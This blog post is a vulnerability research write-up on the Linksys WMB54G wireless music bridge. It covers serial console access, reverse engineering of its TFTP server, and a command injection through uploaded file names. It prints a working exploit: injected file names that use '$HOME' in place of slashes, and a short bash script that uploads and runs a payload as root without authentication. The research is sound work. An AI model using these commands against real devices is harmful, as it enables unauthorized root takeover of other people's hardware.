Hacking the Linksys WMB54G – /dev/ttyS0

Today we’re going to take a look at an interesting little device, the Linksys WMB54G wireless music bridge.


This is a pretty specialized device, so it’s likely a fairly minimalistic system. Even the administrative interface is small and simple:

WMB54G Administrative Interface

The Linksys support page doesn’t have any firmware updates available, so let’s take a peek at the hardware.

Opening the case reveals an expectedly limited system, with just 2MB of flash, 8MB of RAM and a small processor covered up by a heat sink:

WMB54G Internals

There are two connectors on the right hand side of the board, labelled J5 and J9. J5 appears to be a JTAG connector, while J9 shows promise of being a serial port:

J5 and J9 Connectors

After poking around with a multimeter, we find that the J9 connector uses the following pin configuration, at 38400 baud:

Pin 1 – TX
Pin 7 – RX
Pin 8 – GND

Connecting to the serial port with minicom provides some nice debug output, with a root shell to boot:

UART1 output test ok
Uart init
mfid=000000c2 devid=00002249
Found 1 x 2M flash memory

---RealTek(RTL8186)at 2006.06.14-14:49+0800 version 1.3c [16bit](180MHz)
no sys signature at 00010000!
Jump to image start=0x80600000...
decompressing kernel:
Uncompressing Linux... done, booting the kernel.
done decompressing kernel.
early printk enabled 
Determined physical RAM map:
 memory: 01000000 @ 00000000 (usable)
Initial ramdisk at: 0x801c2000 (4194304 bytes)
On node 0 totalpages: 4096
zone(0): 4096 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/ram console=0 ramdisk_start=0 single
Calibrating delay loop... 179.40 BogoMIPS
Memory: 10076k/16384k available (1634k kernel code, 6308k reserved, 4184k data, 60k init, 0k hig)
Dentry-cache hash table entries: 2048 (order: 2, 16384 bytes)
Inode-cache hash table entries: 1024 (order: 1, 8192 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 4096 (order: 2, 16384 bytes)
check_wait... unavailable.
POSIX conformance testing by UNIFIX
Probe PCI Bus : There must be one device at the slot.
PCI device exists: slot 0 function 0 VendorID 13f6 DeviceID 111 bd710000
Find Total 1 PCI function
pcibios_fixup_resources IO form 1d500000 to 4f0000
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Starting kswapd
pty: 256 Unix98 ptys configured
Serial driver version 6.02 (2003-03-12) with no serial options enabled
ttyS00 at 0x00c3 (irq = 3) is a rtl_uart1
mcu.o: version $Revision: 0.2 $time 19:39:05 Jan 29 2008
model id is FFFFFFFF
Realtek GPIO Driver for Flash Reload Default v0.2
block: 64 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
cmpci: version $Revision: 2.0 $time 19:39:31 Jan 29 2008
cmpci: isr_timer initial ok, 10ms
cmpci: spdif_out 
cmpci: chip version = 055
RealTek E-Flash System Driver. (C) 2002 RealTek Corp.
Found 1 x 2M Byte MXIC MX29LV160AB at 0xbe000000
RTL8185 driver version 1.14 (2007-03-15)
8186NIC Ethernet driver v0.0.5 (Mar 3, 2006)
eth0: RTL8186-NIC at 0xbd200000, 00:01:02:03:04:05, IRQ 4
eth1: RTL8186-NIC at 0xbd300000, 04:05:06:07:08:09, IRQ 5
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 1024 bind 2048)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
NET4: Ethernet Bridge 008 for NET4.0
RAMDISK: ext2 filesystem found at block 0
RAMDISK: Loading 4096 blocks [1 disk] into ram disk... done.
Freeing initrd memory: 4096k freed
VFS: Mounted root (ext2 filesystem).
Freeing unused kernel memory: 60k freed
mount /proc file system ok!
serial console detected.  Disabling virtual terminals.
init started:  BusyBox v1.00-pre8 (2008.01.17-05:54+0000) multi-call binary

BusyBox v1.00-pre8 (2008.01.17-05:54+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.


Although it is a fairly stripped down Linux installation, we luckily still have ps and netstat installed, and can start interrogating the system:

# ps
  PID  Uid     VmSize Stat Command
    1 root        340 S   init        
    2 root            SW  [keventd]
    3 root            RWN [ksoftirqd_CPU0]
    4 root            SW  [kswapd]
    5 root            SW  [bdflush]
    6 root            SW  [kupdated]
    7 root            SW  [mtdblockd]
    8 root        412 S   -sh 
  262 root        160 S   monitor 
  264 root        544 S   wiapp-streaming 
  265 root        492 S   wiapp-config 
  267 root        492 S   wiapp-config 
  269 root        544 S   wiapp-streaming 
  272 root        544 S   wiapp-streaming 
  273 root        492 S   wiapp-config 
  274 root        492 S   wiapp-config 
  275 root        492 S   wiapp-config 
  276 root        544 S   wiapp-streaming 
  278 root        544 S   wiapp-streaming 
  281 root        208 S   sys_monitor 
  282 root        280 S   httpd 
  470 root        180 S   restore_defaultsd 
  549 root        328 S   easyconf 
  550 root        216 S   tftpd 
  553 root        280 S   udhcpc -i br0 -p /etc/udhcpc/udhcpc-br0.pid -s /usr/s
  555 root        336 R   ps 
# netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 *:http                  *:*                     LISTEN      
udp        0      0       *:*                                 
udp        0      0 *:14682                 *:*                                 
Active UNIX domain sockets (only servers)
Proto RefCnt Flags       Type       State         I-Node Path

Hmmm…that TFTP service looks interesting, but it doesn’t seem to respond to TFTP get requests:

eve@eve:~$ tfcp .
WARNING:tftpy:Timeout waiting for traffic, retrying...
ERROR:tftpy:Timed-out waiting for traffic

This warrants some further investigation. Getting the tftpd binary off the system and loading it into IDA reveals some interesting code:

Dante’s tiny TFTP Server

sprintf + system == win.

It looks like Dante’s TFTP server accepts file uploads, saves the files to /tmp, then invokes the fwupdate utility by calling system(). I like system().

If, for example, we upload a file named ‘foo’ to the TFTP server:

$ tfcp foo

Then the resulting system call will be:

system(“fwupdate /tmp/foo”);

And since our ‘foo’ file isn’t a valid firmware update image, we get the following output on the serial console:

# WRequest from [foo], [octet]
# recv [foo], 16 bytes
# Now writing the received image into the flash..
TFTP Firmware Upgrade Failed!

Interestingly, although our ‘foo’ file is clearly invalid, it remains in /tmp and is not deleted.

Now, what happens if we tell the TFTP server that our file is named ‘;ls’?

$ tfcp foo';ls'

Since ‘;ls’ is a valid Linux file name, a file named ‘/tmp/;ls’ is created and the resulting system call is:

system(“fwupdate /tmp/;ls”);

Which gives us the following output on the serial console:

# WRequest from [;ls], [octet]
# recv [;ls], 16 bytes
# Now writing the received image into the flash..
TFTP Firmware Upgrade Failed!
bin          lib          mnt          tmp          web
dev          lost+found   proc         usr
etc          manufacture  sbin         var

Bam! Successful command execution. Now, we should be able to:

  1. Upload an executable ELF or shell script to /tmp via the TFTP server
  2. Use the above command injection vulnerability to chmod and execute our uploaded file

We know we can do #1, but #2 is actually trickier than it sounds. For starters, there’s no chmod on the system, so we can’t change file attributes via the shell. To make matters worse, the use of forward slash characters in our command injection is severely limited. This is a common problem, as ‘/’ is not allowed in file names on Linux systems. You can’t, for example, run the following:

$ tfcp foo';ls /etc'

This will cause the TFTP server to attempt to create a file name ‘/tmp/;ls /etc’, which of course will fail since ‘;ls ‘ is not a directory, and if the file write fails then the system call never gets invoked.

We can get around the chmod issue fairly easily by overwriting an existing file on the system that already has the executable attribute. Of course, we don’t just want to go around overwriting system files willy-nilly, so we’ll probably want to copy the system file to the /tmp directory first, and overwrite it there.

We effectively want to do something like the following, which will result in an executable file named ‘/tmp/a’ that contains content of our choosing (in this example, a simple shell script):

# cp /bin/busybox /tmp/a
# echo -e '#!/bin/shecho "It works"' > /tmp/a
# /tmp/a
It works

The problem is that there are a lot of forward slashes in those commands, which our method of command injection won’t allow. There is a solution however, and it’s found in the system’s environment variables.

It turns out that the TFTP server’s working directory is ‘/’, so it’s $PWD environment variable is, you guessed it, ‘/’. This is common, as most processes that daemonize themselves change their working directory to ‘/’; processes executed via system() by the TFTP server will inherit this environment variable.

On this particular system, the $HOME environment variable is also set to ‘/’ for the root user, and all processes run as root.

Substituting forward slashes with either of these environment variables allows the use forward slashes in our command injection exploit without violating the file naming rules in Linux:

$ tfcp foo';ls "$HOME"etc'

This causes a file named ‘;ls “$HOME”etc’ to be created inside of /tmp, but when the system call is made, the $HOME environment variable is expanded to ‘/’, ultimately resulting in the command ‘ls /etc’ being executed as root.

To test this, we’ll try to upload and execute a simple shell script:


echo "Dante is my hero."

We will attempt to upload this file, make it executable, then execute it using the following script on our attack machine:


# Copy the /bin/busybox executable to /tmp/a, so we can steal its executable permissions
tfcp /dev/null';cp "$HOME"bin"$HOME"busybox "$HOME"tmp"$HOME"a'

# Upload our shell script, overwriting the /tmp/a file
tfcp test.sh

# Execute the /tmp/a script
tfcp /dev/null';"$HOME"tmp"$HOME"a'

Does it work? You bet. 🙂

# WRequest from [;"$HOME"tmp"$HOME"a], [octet]
# recv [;"$HOME"tmp"$HOME"a], 0 bytes
# Now writing the received image into the flash..
TFTP Firmware Upgrade Failed!
Dante is my hero.

Root code execution with no authentication and just a few lines of bash. Dante is my hero.

Bookmark the permalink.

Comments are closed.